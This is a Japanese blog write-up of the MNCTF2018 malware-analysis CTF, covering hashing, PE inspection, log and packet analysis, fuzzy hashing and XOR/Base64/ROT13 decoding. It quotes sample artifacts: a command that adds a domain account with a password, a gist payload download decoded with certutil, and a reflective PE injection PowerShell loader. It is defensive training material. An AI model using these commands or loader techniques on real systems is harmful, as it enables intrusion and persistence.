好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

MNCTF2018を後追いでやってみた

遅れ馳せながら、MNCTF(Macnica Networks CTF)というのを知ったので2018版をやってみました。
7/12に行われていたようで、既にwrite-upもたくさん上がっているので、自分のメモとして。こういうジャンルはやったことなかったので、write-upを大いに参考にさせていただいたが、知らない便利ツールや知識が多かった。

MNCTFはMacnica Networks Day 2018で行われたセキュリティチャレンジです。 競技時間は1時間半で行われました。ランキングは以下の通りです。ユーザ登録(個人情報不要)をすることで、トライすることができます。

MNCTF2018

MNCTF(Macnica Networks CTF)は、Webサーバに公開された問題を解くごとにポイントが加算され、合計スコアを競っていただくコンテストです。一般の企業・組織のセキュリティ運用で求められるようなスキルに関する問題を出題します。
チーム戦ではなく、個人戦となります。1社から複数名ご参加いただくことは可能です。
<出題ジャンル>
マルウェア特定
マルウェア解析
・ログ解析
・パケット解析
フォレンジック
脆弱性のあるサーバへの侵入
・パスワードクラック
・アプリケーションクラック

ということで、セキュリティ運用で求められるようなスキルが出題されるそう。上記解説は下記から引用。

[エンジニア専用セッション] 情シス担当のためのセキュリティコンテスト MNCTF

なんと2015年から毎年開催されているようで、すべての年の出題サーバーが現在も稼働しているようです。※2015年の出題ページはどこからアクセスするか分からなかった・・・。

MNCTF

参加したときの環境

MacBook Air (11-inch, Mid 2011)
プロセッサ Core i5
メモリ 4 GB

貧弱ゥゥ。。。そろそろ買い換えないと、もう2018年だよ!

f:id:kusuwada:20180730024504p:plain

新人奮闘Ⅰ

問題

カテゴリ:マルウェア解析 スコア:20 Pts

7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。

解答

sha-256を求めるだけの問題。macだと下記ののコマンド。

$ shasum -a 256 AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe

新人奮闘Ⅱ

問題

カテゴリ:マルウェア解析 スコア:60 Pts

とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。

埋めるべき項目

ファイル情報

  • ファイル名: AD_OptimizationTool.exe
  • MD5
  • SHA1
  • SHA256
  • ファイルサイズ(バイト)
  • ファイルタイプ: 実行ファイル

PE情報

  • コンパイル日時(UTC) YYYY/MM/DD hh:mm:ss形式
  • Import関数
    • 関数名-DLL名
    • ???-ExitProcess
    • ???-kernel32.dll
    • ???-kernel32.dll
    • ???-shell32.dll
    • ???-???

解答

ファイル情報はただただ計算するだけなので、下記コマンドで。

$ md5 AD_OptimizationTool.exe
MD5 (AD_OptimizationTool.exe) = 541427a9dbe43b10c05b856cdcdc5ba6
$ openssl sha1 AD_OptimizationTool.exe 
SHA1(AD_OptimizationTool.exe)= e0fa838e0f191f97c5dac7a831af60d750432017
$ shasum -a 256 AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe
$ ll AD_OptimizationTool.exe 
-rwxr-xr-x@ 1 ***  staff  2048  7 11 19:46 AD_OptimizationTool.exe

問題は、PE情報。聞いたこともない。
PE情報 解析 とかでググると、下記のようなページがHitするも、全部Windows専用ツール。

wivern.com | 見る価値のある5つの PE 解析ツール

exeファイルのコンパイル日時を抽出するようなコードもちょいちょい落ちているんだけど、必ずWindowsのSystemを使用している・・・。
Mac用ツールなんて無いんや・・・。

と思って、他の人のwrite-upでも見て終わりにしようとしていたら、下記ツールが紹介されていました。

github.com

rubyコードなのでMacでも使えるやん!!ということで、早速使ってみる。

$ pedump --pe AD_OptimizationTool.exe 

=== PE Header ===

                     signature:             "PE\x00\x00"

# IMAGE_FILE_HEADER:
                       Machine:        332         0x14c  x86
              NumberOfSections:          3             3
                 TimeDateStamp:    "2018-07-11 10:46:08"
          PointerToSymbolTable:          0             0

〜略〜
$ pedump --imports AD_OptimizationTool.exe 

=== IMPORTS ===

MODULE_NAME      HINT   ORD  FUNCTION_NAME
kernel32.dll        0        ExitProcess
kernel32.dll        0        Sleep
shell32.dll         0        ShellExecuteA
user32.dll          0        MessageBoxA

やったー!欲しい情報が取れた。これはメモメモ。

新人奮闘Ⅲ

問題

カテゴリ:マルウェア解析 スコア:40 Pts

とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。

解答

ここから先は力技なので、なんの参考にもならないかもしれない・・・。
exeファイルの実行環境がないので(Wineは入れてあるが、解析し辛い)、まずは実行ファイルを無理やりのぞいてみる。この方法で今までもやってきたのよ!

$ less AD_OptimizationTool.exe 

すると、下記のような箇所を発見。

cmd^@/c net user /add /domain vpnadmin P@ssw0rD1!^@

読める部分が少ないので、意外とすぐに見つかった。cmd という怪しいワードの先にコマンドっぽい文字列が。試しに入れてみると通った。やったー。

新人奮闘Ⅳ

問題

カテゴリ:フォレンジック スコア:40 Pts

とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)

VPNログリンク先

date,account,ipaddress
2018/07/12 06:13,hotta_akane,27.90.206.68
2018/07/12 06:13,togashi_tarou,49.106.208.164
2018/07/12 06:14,kishida_tatsuhito,49.98.7.62
・・・(延々続く)

解答

前の問題のコマンド実行時に、IDを vpnadmin と指定しているので、このIDでのアクセス履歴を探せば良い。 vpnadmin で検索したら1件のみヒット。

新人奮闘Ⅴ

問題

カテゴリ:その他 スコア:40 Pts

とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。

解答

前の問題のVNPログから、攻撃者のIPは 27.117.128.1 とわかる。迂回していたら〜とかそういう事はきっと考えなくて良いので、素直にこのIPが度の国のIPレンジにあるかを調べる。
今回はこちらのサイトを使用。

ネットワークチェックツール【無料で確認】

結果は下記。

IPから国判別チェック結果
 国判別できました。
 Summary

判別結果は「KR」でした。

KRは韓国なので、「大韓民国」と解答。 しかし前の問題よりこの問題のほうが正解者数が多いの謎。あてずっぽう?

大量不正

問題

カテゴリ:マルウェア解析 スコア:80 Pts

株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。
例)sample1.bin-sample2.bin

解答

ファイル100個あった。この問題もとっかかりがさっぱり分からず、類似性ってなんぞ?という状態だった。マルウェア解析はきっと良いツールがたくさんあるに違いないと思って、すぐwrite-upを頼る。。。

と、 ssdeep というツールが紹介されていました。

ssdeep - Fuzzy hashing program

下記サイトよりHomeBrewからのインストール方法を見て使用。

https://brewinstall.org/Install-ssdeep-on-Mac-with-Brew/

$ brew install ssdeep
$ ssdeep -h
ssdeep version 2.14.1 by Jesse Kornblum and the ssdeep Project
For copyright information, see man page or README.TXT.

Usage: ssdeep [-m file] [-k file] [-dpgvrsblcxa] [-t val] [-h|-V] [FILES]
-m - Match FILES against known hashes in file
-k - Match signatures in FILES against signatures in file
-d - Directory mode, compare all files in a directory
-p - Pretty matching mode. Similar to -d but includes all matches
-g - Cluster matches together
-v - Verbose mode. Displays filename as its being processed
-r - Recursive mode
-s - Silent mode; all errors are suppressed
-b - Uses only the bare name of files; all path information omitted
-l - Uses relative paths for filenames
-c - Prints output in CSV format
-x - Compare FILES as signature files
-a - Display all matches, regardless of score
-t - Only displays matches above the given threshold
-h - Display this help message
-V - Display version number and exit

今回は一致度の高いものを抽出してほしかったので、下記のようにオプションを使用。

$ cd malware
$ ssdeep -db *
sample68.bin matches sample1.bin (99)

ということで、68番と1番が近いという結果に。

このssdeepは fuzzy hash を計算するツールということで、従来のHashだと少しでも内容が異なると全く違うHash値を算出するのに対し、fuzzy hash では、類似したファイル同士では似通ったHash値を算出するらしい。これによって、既知のマルウェアと解析対象の検体を比較し、類似度を見てどのマルウェア(の亜種)かを判断するのに使われるそうです。

ssdeep の課題を解決するために impfuzzy というのも開発されているらしい。なんとJPCERT/CCから出ている。この紹介記事がssdeepについても触れていてわかりやすかった。

Import APIとFuzzy Hashingでマルウエアを分類する ~impfuzzy~(2016-05-09)

今回はこちらも試してみたが、impfuzzyはimport関数のformatが違うのか、解析できなかった。

種類特定

問題

カテゴリ:ネットワーク スコア:80 Pts

株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。

解答

maltrafic.pcap というパケットキャプチャファイルが落ちてくるので、wiresharkで開いてみてみる。意味のありそうな通信と言えば下記くらい。

GET /images/GnBKaYOtPriW2Gg_2FSL_2/FHKd8Kd5bkW6W/x7j_2FKi/KiqHM_2Fh7GsRCwLf5ChDFa/F2mTob6Gr4/taMEy1pRTdVV2fsR_/2BNvWB7fYock/a7HKjH1Fytf/2yr_2FPVRYv2t_/2FRMCh_2BE_2By_2Bwn6G/GlWu_2FELxZZWd5F/1pmIiRnJqqmRnj7/syJhI_2BUbG/xA.gif HTTP/1.1

うーん。これ以上の情報はなさそうだなぁ。
GET /images/hogehoge 的な通信をするマルウェアって特別有名なのかなと思ってぐぐってみたら以下の資料がtopに。
まぁとりあえず試してみるかと思って URSNIF と入れたらあってた。

マルウェアURSNIFによる漏えい情報を特定せよ ~感染後暗号通信の解読~

標的攻撃Ⅰ

問題

カテゴリ:マルウェア解析 スコア:60 Pts

ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。

解答

エクセル問題。私の環境エクセル入ってない問題。うーむ、かと言って夫のPC借りるのも悪いしなぁ。ということで、必殺技、terminal上でバイナリを読む。
絶対正攻法ではない。

$ less 製品価格一覧20180711.xls

幸いそんなに大きいファイルではない様子。バーっと見ていくと、作成者以外のメンバーっぽい名前がいくつかまとまって記載されている箇所を発見。

Yasu Kobayashi
Take Teshigawara
Tada Okuno
Soichi Yamamoto
Yoshi Hatakeyama
Sho Shinogi

この内一つを入れたらOKだった。

標的攻撃Ⅱ

問題

カテゴリ:マルウェア解析 スコア:40 Pts

「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。

解答

上の問題同様、lessコマンドで表示されて読む。urlならurlっぽい文字列見つけられるでしょ!

Microsoftっぽいのはのぞいて・・・あった。

GET https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

標的攻撃Ⅲ

問題

カテゴリ:マルウェア解析 スコア:80 Pts

「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。

解答

前の問題からgistにアクセスして cert.pem というファイルを生成するような雰囲気を察知したので、前の解答のURLにアクセスしてみる。

-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZS
~~ 中略 ~~
TkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=
-----END CERTIFICATE-----

ということで、証明書っぽい中身が取れた。
このままsha256計算して回答しても不正解だったので、エクセルファイルのもうちょっと先を見てみると、

certutil -decode "\cert.pem" "\cert.exe""

という記載が。certutil を調べてみると、windows用のbase64エンコード・デコードコマンドらしい。たしかにbase64エンコードされてるっぽい中身だ。
最初の行と最後の行はbase64エンコード対象外のようなので、中だけ抽出(cert.pem)してbase64デコード。

base64 -D -i cert.pem -o cert.exe

cert.exe のsha256を計算して終了。

標的攻撃Ⅳ

問題

カテゴリ:ネットワーク スコア:80 Pts

2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。

解答

前の問題で、 cert.exe ファイルができるので、これを実行するとどこかに通信するらしい。通信をトラックできるツールを使って見張っておいて、実行ファイルを実行すればわかるのでしょう。
ただ、ちゃんとした exe ファイルの実行環境がないため、どうしたものか考え中。夫のPC借りてやると、通信トラフィックを監視するツール入れなきゃだし。うーむ。ということでこの問題は解けず。

穴埋防御

問題

カテゴリ:マルウェア解析 スコア:100 Pts

株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。

情報が欠けているらしいYaraルール

rule MNC_Mutant1
{
  meta:
    malware_family = "MNCTF2018-Binary"
    last_modified = "2018-07-11"
    description = "Mutex and unique strings used by malware"
    rev = 1
    weight = 100
  strings:
    $str1 = "★" wide //Input Right Mutex Name Here
    $str2 = "C:\\Users\\Administrator\\Documents\\Visual Studio 2017\\Projects\\Mutant1\\Release\\Mutant1.pdb"
    $str3 = "MUTANT1" wide
    $str4 = "Welcome to MNC CTF 2018!" wide
  condition:
    all of ($str*)
}

解答

Yaraルールってなんぞ?と、ここでもはじめましての単語が。知らないことがまだまだ沢山あるなぁ。

Yara Rule とは(セキュリティ) - maxmaruyama’s diary

YARAについて

YARAとは、マルウェアの研究者たちのために作られた、マルウェアを検知・解析・分類するための、オープンソースのプログラム(Pythonベース)です。

基本機能としては、条件として指定した文字列やバイト列を、対象とするファイルやプロセスメモリのバイナリデータ上でスキャンし、指定した条件との合致があればそのスキャン結果を出力します。この文字列の条件は「正規表現」という柔軟な指定方法に対応しています。

などなどの説明があり、サンプルも載っていた。今回欠けているのは、検索ワードして引っ掛ける "Mutex Name" らしい。また Mutex? ということでググる

https://wa3.i-3-i.info/word13360.html ミューテックス - Wikipedia

Mutex自身は、

排他制御のための仕組みであり、対象が「未使用(使用可能)」か「使用中(使用不可)」かを表すものです。

ということでセマフォのようなものらしい。

ExPirO - EPOファイル感染型ウイルス - フォーティネット

システムがすでに感染しているかどうかを見極める方法として、Process Explorerを使う方法があります。このツールを使えば、Expiroが作成したMutexを見ることができるようになります。

Mutexは特定のプロセスにおいてスレッドを同期させるために使われるものですが、たいていのマルウェアやファイル感染型ウイルスの場合、システムがすでに感染しているかどうかを見極めるための目印として使われます。

だそうな。一般用語のようで Mutex マルウェア とかでググって出てくる解説は、Mutexの説明は殆ど書いていなかった・・・。

気を取り直して、まずは「不審なファイル」の中身を確認してみます。

Mutant.txt

ZnVuY3Rpb24gSW52b2tlLVJlZmxlY3RpdmVQRUluamVjdGlvbgp7CgpQYXJhbSgKCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCglbU3RyaW5nXQoJJFBFQnl0ZXMsCgkKCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxKV0KIAlbU3RyaW5nXQoJJEZ1bmMsCgkKCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyKV0KCVtJbnQzMl0KCSRQcm9jSWQsCgogICAgW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMpXQogICAgW1N3aXRjaF0KICAgICRGb3JjZUFTTFIKKQpTZXQtU3RyaWN0TW9kZSAtVmVyc2
~~ 中略 ~~
hjWEZ4Y1hGeGNYRnhjWEZ4Y1hGeGNYRnhjWEZ4Y1hGeGNYRnhjWEZ4Y1hGeGNYRnhjWEZ4Y1hGeGNYRnhjWEZ4Y1hGeGNYRnhjWEZ4Y1hGeGNYRnhjPSIgIC1GVU5DIFN0YXJ0

文字列の並びから見ても、最後が0で終わっていることからしても、ぱっと見 base64エンコードされている。
下記コマンドで base64 デコード。今回何回目だろうか。

$ base64 -D -i Mutant.txt -o Mutant_decoded.txt

Decodeしたファイルを見てみると、こんな感じのファイルが出現。

function Invoke-ReflectivePEInjection
{

Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [String]
    $PEBytes,
    
    [Parameter(Position = 1)]
    [String]
    $Func,
  
~~ 中略 ~~

Invoke-ReflectivePEInjection -PEBytes "Wk2HFxQXFxcTFxcX6OgXF68XFxcXFxcXVxcXFxcXFxc
~~ 後略 ~~~

PowerShellっぽいプログラム(途中にPowerShellって書いてあった)に、末尾にまた base64 encode されているような文字列(長い)がくっついている。

Main Functionはこちら

Function Main
{
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
    {
        $DebugPreference  = "Continue"
    }
    
    Write-Verbose "PowerShell ProcessID: $PID"
    
    #if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
    #{
    [Byte[]]$PEBytes = [System.Convert]::FromBase64String($PEBytes)
    
    for ($i = 0; $i -lt $PEBytes.Count; $i++)
    {
        $PEBytes[$i]=$PEBytes[$i] -bXOR 0x17
    }
    #[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
    #}
    
    #Verify the image is a valid PE file
    $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

    $PEBytes[0] = 0
    $PEBytes[1] = 0

    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $Func, $ProcId,$ForceASLR)
}

base64でDecodeして、 0x17 とXORをとっているみたい。
また該当部分を抜き出して Mutex2.txt として保存、下記コマンドでbase64デコード。
ちなみにこういうのを「二次検体」と言うらしい。

$ base64 -D -i Mutant2.txt -o Mutant2_decoded.txt

下記スクリプト(次の盗難情報を先に解いたので、その時作成したxorスクリプトをほぼまるっと流用)でxor計算。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import sys

with open("Mutant2_decoded.txt", "rb") as f:
    data = f.read()

res = b''
key = 0x17
for d in data:
    res += (d^key).to_bytes(1, sys.byteorder)
with open("Mutant2_xor.bin", "wb") as f:
    f.write(res)

出力されたファイルの形式を確認。

$ file Mutant2_xor.bin 
Mutant2_xor.bin: PE32 executable (GUI) Intel 80386, for MS Window

おお、なんか合っていそうな気配。

が、ここからどうやったら Mutex とやらがわかるかさっぱり。ほかのかたの write-up 見ていると、

そこをデコードして、IDAなどにいれるとMutex名がわかるとのこと。

などと IDAツール というのを使うという解答が多かった。
「どうせそれWindows専用ツールでしょ」と思ってぐぐってみたらそうだったので、Macでも使えそうなツールを探してみる。

Mac OS Xで使えるIDAみたいなDisassembler、Hopper - at backyard

ここで Disassembler、Hopper、の2つが紹介されているが、Hopperの方は機能に制限があるが無償で使えるそう。こっちを使ってみた。
(結構大きいアプリケーションなのでこの貧弱Macではインストールしっぱなしは無理かもしれない・・・)

なんか使い方ようわからんかったけども、立ち上げて、Try(無償版使うよ)を選択して、上記で作った実行ファイルを開くと中身をばーっと表示してくれる。タブが Labels Proc. Str とあるので、それぞれで Mutex や他のYaraルールに記載されていた単語 Welcome to MNC CTF 2018! などで検索してみると、このような箇所を Str タブ中二発見。

aWelcomeToMncCt:
00402160         dw         u"Welcome to MNC CTF 2018!", 0                      ; DATA XREF=0x401007
00402192         db  0x00 ; '.'
00402193         db  0x00 ; '.'
a1q2w3e4r0o9i8u:
00402194         dw         u"{1q2w3e4r0o9i8u7y6t}", 0                          ; DATA XREF=sub_401020+6
004021be         align      64
aFailedToCreate:
004021c0         dw         u"Failed to Create Mutex", 0                        ; DATA XREF=sub_401020+317
004021ee         db  0x00 ; '.'
004021ef         db  0x00 ; '.'

この Failed to Create Mutex の前の文字列が怪しそう、と入れてみたらあたりだった。(最初はカッコつきで入れて外れだったが、カッコなしが正解らしい)

CTFでこのツールを使う人もいるみたいなので、覚えておこう。メモメモ。

盗難情報

問題

カテゴリ:暗号 スコア:100 Pts

株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。
XOR(シングルバイトキー)→ Base64 → ROT13
同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。

解答

ROT13、は初めて聞いた。早速Wikipedia先生で。

ROT13 - Wikipedia

ROT13 または ROT-13、rot13 は単換字式暗号(シーザー暗号)の一つである。アルファベットを一文字毎に13文字後のアルファベットに置き換える。Aは Nに、 B は O に置き換えられ、以下同様である。英語の "Rotate by 13 places" の略。ネットワーク上のやりとり(電子掲示板、ネットニューズ、フォーラム等)で冗談の落ち、パズルの解法、ネタばれ情報、不快表現等を隠すのに用いられる変換である。暗号化と復号の両方が全く同じ変換であるという特徴がある。実際のところ、(現代の感覚では)全く「暗号」というほどのものではないが、ちょっと見に読んでしまうという事態は避けられる。雑誌などでクイズの正解を上下逆さまに印刷したりするのが見られるが、それと似たようなものである。

なんか軽いノリのやつらしい。

下記スクリプトを書いて base64.bin に保存してみた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

with open("encrypted.bin", "r") as f:
    data = f.read() 

output = ""

alphabet = list(string.ascii_lowercase)

def rot13(c):
    return alphabet[(alphabet.index(c) + 13) % 26]

def rot13_robust(c):
    if c.isdigit():
        return c
    if c.isupper():
        return rot13(c.lower()).upper()
    if c.islower():
        return rot13(c)
    else:
        return c

for c in data:
    output += rot13_robust(c)
    
with open("base64.bin", "w") as f:
    f.write(output) 
    

base64 decodeは前の問題でもやったので同じコマンドで。今度は xor.bin に出力。

base64 -D -i base64.bin -o xor.bin

XOR暗号のDecodeは、初期鍵がわからないとできないのだけど、(シングルバイトキー)とあるので、0~255の256通りを試せば良さそう。

下記スクリプトを作成して、256通りのdecode結果を作成してみた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import sys

with open("xor.bin", "rb") as f:
    data = f.read()

for key in range(0, 256):
    res = b''
    for d in data:
        res += (d^key).to_bytes(1, sys.byteorder)
    with open("xor_result/result" + str(key) + ".bin", "wb") as f:
        f.write(res)

そんなに時間をかけずに256個作成完了。私の貧弱PCでも十秒弱だったかな。
さて、どれが正解かわからぬ。なんの形式で出てくるかはヒントになかった&大きいサイズだったので、txtでそのままflagが出てくるとは思えぬ。
ということで全体を file コマンドでデータ型を調べてみる。

$ file xor_result/*
xor_result/result0.bin:   data
xor_result/result1.bin:   data
xor_result/result10.bin:  data
xor_result/result100.bin: data
xor_result/result101.bin: data
xor_result/result102.bin: data
xor_result/result103.bin: data
xor_result/result104.bin: data
xor_result/result105.bin: data
xor_result/result106.bin: data
xor_result/result107.bin: data
xor_result/result108.bin: SysEx File - PPG
xor_result/result109.bin: data
xor_result/result11.bin:  PGP   Secret Sub-key -
xor_result/result110.bin: data
xor_result/result111.bin: data
xor_result/result112.bin: data
xor_result/result113.bin: data
xor_result/result114.bin: data
xor_result/result115.bin: data
xor_result/result116.bin: data
xor_result/result117.bin: DOS executable (COM)
xor_result/result118.bin: data
xor_result/result119.bin: SYMMETRY i386 executable (invalid @ 0)
xor_result/result12.bin:  data
xor_result/result120.bin: data
xor_result/result121.bin: data
xor_result/result122.bin: data
・・・

ということで、ほとんどただのバイナリ(data)の中に、PGPDOS executable...などがちらほら。
ばーっと見ていると、PNGファイルらしきもの発見。

xor_result/result21.bin:  PNG image data, 660 x 441, 8-bit/color RGB, non-interlaced

該当のファイルを見てみると、こんな画像が現れた。

f:id:kusuwada:20180729151448p:plain

まとめ

感想

MNCTF、実際のお仕事でマルウェア解析とか通信解析をされている方はこんな感じなのかな?と想像してみたり。
簡単な問題から難しめのまで揃えてあって、割と自力でなんとかなることも多くて楽しかった。(同時期にやったCODEBLUE CTFは全く歯が立たず)
今まで参加したCTFと問題の系統・難易度・必要になる知識・ツールが結構違って、勉強になった。が、途中で躓くと続き物シリーズでは先に進みづらくなるので、リアルタイムでやったらほとんど解けなかったかもしれない。 マルウェア解析界ではおそらく常識の知識やツールを、全く知らなかったので。。。
あとは、なんとかホストのMacだけでやってやろうと思ってやったので、一部完全に力技になってしまった。(が、後悔はしていない。)

使えるツールたち

  • 実行ファイルのPE解析ツール

github.com

Hopper

Hopper Disassembler, the reverse engineering tool that lets you disassemble, decompile and debug your applications.

ssdeep - Fuzzy hashing program

github.com

参考にさせていただいたwrite-upのリンク

MNCTF 2018 Writeup - Tahoo!!

MNCTF 2018 Writeup その1 - Misc notes